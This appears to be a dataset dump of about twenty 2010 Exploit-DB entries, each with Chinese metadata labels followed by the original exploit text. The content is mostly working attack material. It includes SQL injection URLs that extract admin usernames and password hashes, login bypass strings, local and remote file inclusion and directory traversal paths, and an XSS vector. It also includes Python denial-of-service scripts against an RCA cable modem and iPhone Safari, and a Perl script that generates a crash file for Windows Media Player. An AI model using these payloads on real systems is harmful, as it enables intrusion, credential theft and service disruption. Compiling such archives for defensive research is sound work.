QLWD/code_shield huggingface dataset:
标题: Uiga Personal Portal - 'index.php' SQL Injection EDB-ID: 11599 CVE: 2010-1364 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-28 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Uiga Personal Portal index.php SQL Injection
+Autor : Easy Laster
+Date   : 28.02.2010
+Script  : Uiga Personal Portal
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/uigaportal/index.php?view=photos&id=
+Exploitable   : http://server/uigaportal/index.php?view=photos&id=-9999+
Union+Select+1,2,group_concat(admin_name,0x3a,admin_password),4,5+from+admin--
----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11599
标题: Uiga Fan Club - 'index.php' SQL Injection EDB-ID: 11600 CVE: 2010-1365 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-28 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Uigafanclub index.php SQL Injection
+Autor : Easy Laster
+Date   : 28.02.2010
+Script  : Uigafanclub
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/Uigafanclub/index.php?view=photos&id=
+Exploitable   : www.site.com/Uigafanclub/index.php?view=photos&id=-9999+
Union+Select+1,2,concat(admin_name,0x3a,admin_password),4,5+from+admin--
----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11600
标题: RCA DCM425 Cable Modem - 'micro_httpd' Denial of Service (PoC) EDB-ID: 11597 CVE: 2010-1544 类型: DOS 平台: HARDWARE 发布日期: 2010-02-28 漏洞利用脚本: #!/usr/bin/python
# Title: RCA DCM425 Cable Modem micro_httpd DoS/PoC
# Date: 02/27/10
# Author: ad0nis  ad0nis@hackermail.com
# Info: This script causes a Denial of Service on a DCM425 cable modem.
# Sending 1040 bytes causes a reboot of the device after a few seconds
# of it freezing up. I believe this may lead to remote code execution
# but I did not bother to test it further.

# By default, this cable modem has an IP address of 192.168.100.1

# There are two different but similar models of this router, the only
# difference I see between them is that one has an On/Off button on the
# front. The one I discovered this on is the one without a button. I
# have not tested this on the other model.

# Thanks to ShadowHatesYou for the inspiration to look closer at the
# little black box on my network.

import sys, socket
target = sys.argv[1]
buffer = ( "\x41" * 1040 )
print "Sending 1040 A's to" ,target, "on port 80\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,80))
s.send(buffer)
s.close() URL: https://www.exploit-db.com/exploits/11597
标题: phptroubleticket 2.0 - 'id' SQL Injection EDB-ID: 11609 CVE: 2010-1089 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-01 漏洞利用脚本: #############################################################################################################
## phptroubleticket SQL injection (id)                                                      ##
## Author : kaMtiEz (kamzcrew@yahoo.com)           ##
## Homepage : http://www.indonesiancoder.com                       ##
## Date : 1 march, 2010                                          ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.phptroubleticket.org/
[+] Download : http://www.phptroubleticket.org/downloads.html
[+] version : 2.0 / lower maybe also affected
[+] Vulnerability : SQL
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA
#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/vedi_faq.php?id=[INDONESIANCODER]

[ XpL ]

/**/union/**/all/**/select/**/1,concat_ws(0x3a,email,password)kaMtiEz,3,4/**/from/**/utenti--

[ DEMO ]

http://server/ingegneria/new/assistenza/vedi_faq.php?id=666/**/union/**/all/**/select/**/1,concat_ws(0x3a,email,password)kaMtiEz,3,4/**/from/**/utenti--

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack,senot
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Ayy : U will be owned ;]
[+] Don Tukulesto : kemana kamu woeeeee
[+] IBL13Z : belajar terus yak ;]

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/11609
标题: phpCDB 1.0 - Local File Inclusion EDB-ID: 11585 CVE: 2010-1537 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-27 漏洞利用脚本: ##############################################################
##phpCDB <= 1.0 Local File Include Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/phpcdb/files/
##############################################################
PoC:
 [phpcdb_path]/firstvisit.php?lang_global=[LFI%00]
 [phpcdb_path]/newfolder.php?lang_global=[LFI%00]
 [phpcdb_path]/showfolders.php?lang_global=[LFI%00]
 [phpcdb_path]/newlang.php?lang_global=[LFI%00]
 [phpcdb_path]/showinnerfolder.php?lang_global=[LFI%00]
 [phpcdb_path]/writecode.php?lang_global=[LFI%00]
 [phpcdb_path]/showcode.php?lang_global=[LFI%00]
##############################################################txt URL: https://www.exploit-db.com/exploits/11585
标题: Uiga Fan Club 1.0 - Authentication Bypass EDB-ID: 11593 CVE: 2010-1366 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-27 漏洞利用脚本: # Uiga Fan Club <= 1.0 (Auth Bypass) SQL Injection Vulnerability
###########################################################################
# Author: cr4wl3r
# Download: http://www.scriptdevelopers.net/download/uigafanclub.zip
###########################################################################
#if (isset($_POST['admin_name']))
# {
# $admin_name=$_POST['admin_name'];
# $admin_password=$_POST['admin_password'];
#
#
# if(empty($admin_name))
# {
# $errorMessage=warning." Username is empty!";
# }
# elseif(empty($admin_password))
# {
# $errorMessage=warning." Password is empty!";
# }
# 
# 
# else
# {
# $sql="SELECT * 
#     FROM admin
#    WHERE admin_name='$admin_name' and admin_password='$admin_password'";
#
###########################################################################

###############################################
PoC: [path]/admin/admin_login.php

     Username: ' or '1=1
     password: ' or '1=1
############################################### URL: https://www.exploit-db.com/exploits/11593
标题: Scripts Feed Business Directory - SQL Injection EDB-ID: 11592 CVE: 2010-1092 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-27 漏洞利用脚本: ==============================================================================
    [~] Scripts Feed Business Directory SQL Injection Vulnerability
==============================================================================
    [+] My home          [ http://hack-tech.com ]
    [+] Date Submitted:  [ February 27 2010 ]
    [+] Founder:         [ Crux ]
    [+] Vendor:          [ Scriptsfeed ]
    [+] Version:         [ ALL ]
    [+] Download:        [ http://www.scriptsfeed.com/business-directory.html ]


[ EXPLOIT ]
- This vulnerability affects login.php
-The POST variables 'us' and 'ps' are vulnerable.

[ ATTACK DETAILS ]
us=user&ps=${SQLINJECTIONHERE}&s1=LOGIN

============================================================================== URL: https://www.exploit-db.com/exploits/11592
标题: DZ Erotik Auktionshaus 4.rgo - 'news.php' SQL Injection EDB-ID: 11582 CVE: 2010-1094 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-27 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/auktionshaus/news.php?id=
+Exploitable   : www.site.com/auktionshaus/news.php?id=null+union+select+1,2,concat
(name,0x3a,password),4,5+from+users#
----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11582
标题: Pre Classified Listings - SQL Injection EDB-ID: 11589 CVE: 2010-1369 类型: WEBAPPS 平台: ASP 发布日期: 2010-02-27 漏洞利用脚本: =================================================================
[~] Pre Classified Listings Remote SQL Injection Vulnerability
=================================================================

##########################################################
## Author: Crux
## Homepage: http://hack-tech.com
## Date: 2-27-2010
## Software Link: http://www.preprojects.com/businesslisting.asp
## Version: N/A
##########################################################

[ SQLi ]
---------------------------------
// This vulnerability affects signup.asp
// Can be exploited VIA the POST variable 'email'

[#] Exploit / POC:
full_name=111-222-1933email@address.tst&email=${SQLINJECTIONHERE}&pass=test&ad
dress=3137%20Laguna%20Street&phone=555-666-0606&state=0&hide_email=on&url_add=
111-222-1933email@address.tst&Submit=SignUp&addit=start
================================================================= URL: https://www.exploit-db.com/exploits/11589
标题: phpRAINCHECK 1.0.1 - SQL Injection EDB-ID: 11586 CVE: 2010-1538 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-27 漏洞利用脚本: ##############################################################
##phpRAINCHECK <= 1.0.1 SQL Injection Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/phpraincheck/files/
##############################################################
PoC:
 [phpRAINCHECK_path]/print_raincheck.php?id=[SQL]
############################################################## URL: https://www.exploit-db.com/exploits/11586
标题: phpMySite - Cross-Site Scripting / SQL Injection EDB-ID: 11588 CVE: 2010-1091 2010-1090 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-27 漏洞利用脚本: =================================================================
[~] phpMySite (XSS/SQLi) Multiple Remote Vulnerabilities
=================================================================

##########################################################
## Author: Crux
## Homepage: http://hack-tech.com
## Date: 2-27-2010
## Software Link: http://www.phpmysite.com/
## Version: N/A
##########################################################

[ SQLi ]
---------------------------------
// This vulnerability affects index.php
// Can be exploited VIA the GET variable 'action'

[#] Exploit / POC
index.php?action=${SQLINJECTIONHERE}&key=111-222-1933email@address.tst


[ XSS ]
---------------------------------
// This vulnerability affects contact.php
// Can be exploited via the following POST variables:
// name, city, email, state, message

[#] Exploit / POC
name=Crux&city=1>">&state=NY&email=sample%40email%2Etst&message=111-222-1933email@address.tst&word=111-222-1933email@address.tst

================================================================= URL: https://www.exploit-db.com/exploits/11588
标题: Project Man 1.0 - Authentication Bypass EDB-ID: 11584 CVE: 2010-2134 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-27 漏洞利用脚本: ##############################################################
##Project Man <= 1.0 (Auth Bypass) SQL Injection Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/projectman1/files/
##############################################################
PoC:
 [Project Man_path]/login.php

Username: ' or '1=1 
password: ' or '1=1 
############################################################## URL: https://www.exploit-db.com/exploits/11584
标题: ProMan 0.1.1 - Multiple File Inclusions EDB-ID: 11587 CVE: 2010-2138 2010-2137 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-27 漏洞利用脚本: ##############################################################
##ProMan  <= 0.1.1 Multiple File Include Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/pman/files/
##############################################################
[RFI Code]

<?php
                    if (!($_GET['page']))
                     include('info.php');
                    else    
                        include $_GET['page'].'.php'; 
                ?>

[LFI Code]

include_once('lang/'.$_SESSION['userLang'].'/elisttasks.php');
if (!defined('PROMAN'))
  pexit ($l['no hack']); 
##############################################################
PoC RFI:
 [phpRAINCHECK_path]/_center.php?page=[Shell]
##############################################################
PoC LFI:
 [phpRAINCHECK_path]/elisttasks.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/managepmanagers.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/manageusers.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/helpfunc.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/managegroups.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/manageprocess.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/manageusersgroups.php?_SESSION[userLang]=[LFI%00]

others...
############################################################## URL: https://www.exploit-db.com/exploits/11587
标题: GameScript 3.0 - SQL Injection EDB-ID: 11577 CVE: 2010-1368 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-25 漏洞利用脚本: Author :  FormatXformat
Home : Tkurd.net

Script : http://www.gamescript.net
Vulnerabilities : SQL Injection


Dork:

Copyright © 2005 - 2006 GameScript.net. All Games Copyright © To Their Respective Owners. All Rights Reserved.



Exploit:

/index.php?action=category&id=-6+union+all+select+1,concat(username,0x3a,password),3+from+users--

Admin page: admincp



Demo :

http://server/index.php?action=category&id=-6+union+all+select+1,concat(username,0x3a,password),3+from+users-- URL: https://www.exploit-db.com/exploits/11577
标题: Web Server Creator Web Portal 0.1 - Multiple Vulnerabilities EDB-ID: 11569 CVE: 2010-1114 2010-1113 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-24 漏洞利用脚本: ========================================================================================                  
| # Title    : Web Server Creator - Web Portal v 0.1 Multi Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860)                                                                             
| # Web Site : http://www.comscripts.com/scripts/php.web-server-creator.1082.html                                                                                                                            
| # Dork     : All right reserved 2002-2003 (MSN/Web Server Creator)                                        
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Multi                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- Directory traversal (Windows)

http://127.0.0.1/1082_webserve-01/news/include/customize.php?l=../../../../../../../../boot.ini
  
 2- XSS 
 
 http://127.0.0.1/1082_webserve-01/index.php?pg=forum
  
 3- RFI
 
 http://localhost/1082_webserve-01/index.php?pg=[EV!L]
 
 http://localhost/1082_webserve-01/news/form.php?path=[EV!L]
 
================================   Dz-Ghost Team   ========================================
Greetz : ÓíÏí ÈáÚÈÇÓ + Úíä ÇáÈÑÏ + ÔáÛæã ÇáÚíÏ K10 + K@MEL + Úíä ãáíáÉ + ÊÛäíÝ
------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11569
标题: iPhone - 'WebCore::CSSSelector()' Remote Crash EDB-ID: 11574 CVE: 2010-1029 类型: DOS 平台: HARDWARE 发布日期: 2010-02-24 漏洞利用脚本: #!/usr/bin/python
#                       ,
#                      dM
#                      MMr
#                     4MMML                  .
#                     MMMMM.                xf
#     .              "M6MMM               .MM-
#      Mh..          +MM5MMM            .MMMM
#      .MMM.         .MMMMML.          MMMMMh
#       )MMMh.        MM5MMM         MMMMMMM
#        3MMMMx.     'MMM3MMf      xnMMMMMM"
#        '*MMMMM      MMMMMM.     nMMMMMMP"
#          *MMMMMx    "MMM5M\    .MMMMMMM=
#           *MMMMMh   "MMMMM"   JMMMMMMP
#             MMMMMM   GMMMM.  dMMMMMM            .
#              MMMMMM  "MMMM  .MMMMM(        .nnMP"
#   ..          *MMMMx  MMM"  dMMMM"    .nnMMMMM*
#    "MMn...     'MMMMr 'MM   MMM"   .nMMMMMMM*"
#     "4MMMMnn..   *MMM  MM  MMP"  .dMMMMMMM""
#       ^MMMMMMMMx.  *ML "M .M*  .MMMMMM**"
#          *PMMMMMMhn. *x > M  .MMMM**""
#             ""**MMMMhx/.h/ .=*"
#                      .3P"%....
#             [t12]  nP"     "*MMnx 

#      SMOKE WEED
#greetz to my blackhatz and baycatz
#iPhone CSS::Selector crash
#this Python script acts as a web server and sends a malformed long string to the CSS <style> tag
#this is a remote crash bug, hoever an analysis of the debug dump shows remote code execution capability, I am just lazy

import sys, socket;

def main():
 junk = "*>" * 120000;
 
 html = """
  <html>
  <head>
  <style type="text/css">
  """;

 html += junk;

 html += """
  body {background: blue;}
  </style>
  </head>
  </html>
  """;

 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
 s.bind(('',2121));
 s.listen(1);
 
 while True:
  channel, details = s.accept();
  print channel.recv(1024);
  channel.send(html);
  channel.close();

main(); URL: https://www.exploit-db.com/exploits/11574
标题: PHP Auktion Pro SQL - 'news.php' SQL Injection EDB-ID: 11547 CVE: 2010-0722 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-23 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Php Auktion Pro SQL Injection news.php
+Autor : Easy Laster
+Date   : 22.02.2010
+Script  : Php Auktion Pro
+Download : -----
+Price : 34,90€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian.
---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/auktionblau/news.php?id=
+Exploitable   : www.site.com/auktionblau/news.php?id=null+union+select+1,2,convert
(password using utf8),4,5+from+users# 

or

www.site.com/auktionblau/news.php?id=null+union+select+1,2,concat
(name,0x3a,password),4,5+from+users#


----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11547
标题: Microsoft Windows Media Player 11.0.5721.5145 - '.mpg' Buffer Overflow EDB-ID: 11531 CVE: 2010-0718 类型: DOS 平台: WINDOWS 发布日期: 2010-02-22 漏洞利用脚本: #!/usr/bin/perl


# Windows Media Player 11.0.5721.5145 (.mpg) Buffer Overflow Exploit
# Homepage: www.microsoft.com
# Exploit Coded by: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
# From: Indonesia
#
####################################################
# Testing Results:
####################################################
# Bug: Integer Division By Zero
# Platform: Windows XP SP3 ENG
# Tested versions:
# 1. Windows Media Player 9         = crash
# 2. Windows Media Player 11.0.5721 = crash
# 3. Windows Media Player 11.0.6    = No crash
####################################################
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING - WARNING - WARNING - WARNING
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#
# Disclaimer: The author published the information under the condition
#             that is not in the intention of the reader to use them in order to bring
#             to himself or others a profit or to bring to others damage.
#
#
# Gr33tz: No Thanks



print "
[+]---------------------------------------------------------------------[+]
[+] Windows Media Player 11.0.5721.5145 (.mpg) Buffer Overflow Exploit  [+]
[+] By : cr4wl3r                                                        [+]
[+]---------------------------------------------------------------------[+]
";


$buff = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";

open(file, "> sploit.mpg");
print (file $buff);
print "\n\n[+] Done...!!!\n
[+] Open with Windows Media Player\n
[+] Coded by cr4wl3r\n"; URL: https://www.exploit-db.com/exploits/11531